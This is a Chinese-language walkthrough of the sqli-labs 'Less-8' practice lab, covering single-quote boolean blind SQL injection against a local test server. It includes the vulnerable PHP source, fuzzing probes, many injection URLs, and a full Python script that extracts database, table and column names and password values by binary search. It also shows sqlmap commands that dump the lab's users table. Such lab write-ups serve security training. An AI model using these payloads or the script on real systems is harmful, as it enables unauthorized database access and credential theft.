sqli-lab-less8
一、靶标地址
Less-8 GET-Blind-Boolian Based-Single Quotes
#单引号布尔盲注
http://127.0.0.1/sqli/less-8/
二、漏洞探测
由于探测的fuzz参数增多使用python脚本进行探测
import requests
url="http://192.168.128.159/sqli/less-8/index.php?id=1"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
file = open("./fuzz.txt","r")
payloads = file.read().splitlines()
for i in range(len(payloads)):
print("==============This is "+ str(i) + payloads[i]+"==============")
payload=payloads[i]
response=requests.get(url+payload,headers=header)
print(response.text)
结果
' --+ 正常回显
" --+ 正常回显
') --+ 无回显
") --+ 正常回显
')) --+ 无回显
")) --+ 正常回显
推测语句为select * from users where id='id' limit 0,1;
三、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//漏洞语句部分
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error()); #无报错信息回显
//echo "You have an error in your SQL syntax"; #无报错回显
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
四、黑盒与白盒测试
http://127.0.0.1/sqli/less-8/?id=1' and 1=1 --+
#You are in...........
http://127.0.0.1/sqli/less-8/?id=1' and 1=2 --+
#无回显
#可用bool型盲注
五、脚本撰写
脚本有两种思路:
一是单纯爆破,利用 =
二是二分法爆破,利用ascii码大小判断(效率更高)
bool盲注常用的函数
database() 显示数据库名称
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符的c位
length() 返回字符串的长度
ascii() 将某个字符转换为ascii值
char() 将ascii码转换为对应的字符
if(condition,value_if_true,value_if_false) 判断函数
#爆破的思路是
#数据库版本字符串长度
http://127.0.0.1/sqli/less-8/?id=1' and length(version())=5 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(length(version())=5,1,0) --+
#数据库版本
http://127.0.0.1/sqli/less-8/?id=1' and left(version(),1)=5 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(version(),1)=5,1,0) --+
#数据库字符串长度
http://127.0.0.1/sqli/less-8/?id=1' and length(database())=5 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(length(database())=5,1,0) --+
#数据库
#测试数据库名第一位是否为s
http://127.0.0.1/sqli/less-8/?id=1' and left(database(),1)=s --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(database(),1)=s,1,0) --+
#测试数据库名第一位是否为大于a
http://127.0.0.1/sqli/less-8/?id=1' and left(database(),1)>'a' --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(database(),1)>'a',1,0) --+
#测试数据库名前两位是否为大于sa
http://127.0.0.1/sqli/less-8/?id=1' and left(database(),2)>'sa' --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left(database(),2)>'sa',1,0) --+
#测试数据库的第一位是否大于80
http://127.0.0.1/sqli/less-8/?id=1' and ascii(substr(database(),1,1)) >80 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(ascii(substr(database(),1,1)) >80,1,0) --+
#测试数据库的第二位是否大于80
http://127.0.0.1/sqli/less-8/?id=1' and ascii(substr(database(),2,1)) >80 --+
http://127.0.0.1/sqli/less-8/?id=1' and if(ascii(substr(database(),2,1)) >80,1,0) --+
#数据表个数#数据表名长度#数据表名
#通过变换xyz的值来判断
http://127.0.0.1/sqli/less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="z" --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="z",1,0) --+
#字段个数#字段名长度#字段名
#通过变换xyz的值来判断
http://127.0.0.1/sqli/less-8/?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z" --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z",1,0) --+
#字段的值
http://127.0.0.1/sqli/less-8/?id=1' and left((select username from users limit x,1),y)="" --+
http://127.0.0.1/sqli/less-8/?id=1' and left((select password from users limit x,1),y)="" --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select username from users limit x,1),y)="",1,0) --+
http://127.0.0.1/sqli/less-8/?id=1' and if(left((select password from users limit x,1),y)="",1,0) --+
#二分法爆破
#脚本并非爆破所有表,而是根据目标一步一步获得以减少流量
#爆破数据库名长度和数据库名
import requests
url="http://192.168.128.159/sqli/less-8/index.php?id=1"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
target_str = "You are in..........."
"""
def getdbslen():#获取数据库名长度
global current_dbs_len
for i in range(1,100):
payload=f"\' and if(length(database())={i}, 1, 0) --+"
#print(url+payload)
response=requests.get(url+payload,headers=header)
#print(response.text)
if target_str in response.text:
current_dbs_len = i
print("The length of the database is : " + str(i))
break
"""
def getdbs():#获取数据库名
global current_dbs_name
current_dbs_name = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload=f"\' and if(ascii(substr(database(),{i},1)) >{mid},1,0) --+"
response=requests.get(url+payload,headers=header)
if target_str in response.text:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
current_dbs_name += chr(mid)
print("The database is "+current_dbs_name)
def gettable(): #获取表名
global tables_name
tables_name=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload=f"\' and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{i},1)) >{mid},1,0) --+"
#已知数据库名security
response=requests.get(url+payload,headers=header)
if target_str in response.text:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
tables_name += chr(mid)
print("The tables is "+tables_name)
def getcolumn(): #获取字段名
global column_name
column_name=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload=f"\' and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{i},1)) >{mid},1,0) --+"
#已知数据表名users
response=requests.get(url+payload,headers=header)
if target_str in response.text:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
column_name += chr(mid)
print("The column_name is "+column_name)
def getcolumn_value(): #获取字段值
global column_value
column_value=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload=f"\' and if(ascii(substr((select(group_concat(password))from(users)),{i},1)) >{mid},1,0) --+"
#已知字段名password
#select(group_concat(password))from(users);
#select group_concat(password) from users;
response=requests.get(url+payload,headers=header)
if target_str in response.text:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
column_value += chr(mid)
print("The column_value is "+column_value)
getdbs()
gettable()
getcolumn()
getcolumn_value()
六、sqlmap
sqlmap -u http://127.0.0.1/sqli/less-8/index.php?id=1
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3398=3398 AND 'ldbo'='ldbo
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8269 FROM (SELECT(SLEEP(5)))bGfI) AND 'MPMN'='MPMN
#使用bool盲注探测数据库
sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B --dbs --batch
#--batch 选择默认配置
available databases [6]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B -D security --tables --batch
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B -D security -T users --columns --batch
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1 --technique B -D security -T users -C username,password --dump --batch
#--dump获取数据
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password |
+----------+------------+
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| admin4 | admin4 |
| secure | crappy |
| Dumb | Dumb |
| dhakkan | dumbo |
| superman | genious |
| Angelina | I-kill-you |
| batman | mob!le |
| Dummy | p@ssword |
| stupid | stupidity |
+----------+------------+
七、总结
1、sql必备语句
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)
查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)
查字段的值:select username,password from security.users(此处拿username,password字段为例)
2、盲注
select * from website where id=1 and 判断语句;
select * from website where id=1 or 判断语句;
#可以根据and or后面添加判断语句来进行盲注
3、盲注爆破的思路
数据库名长度
数据库名
数据表个数
数据表名长度
数据表名
字段个数
字段名长度
字段名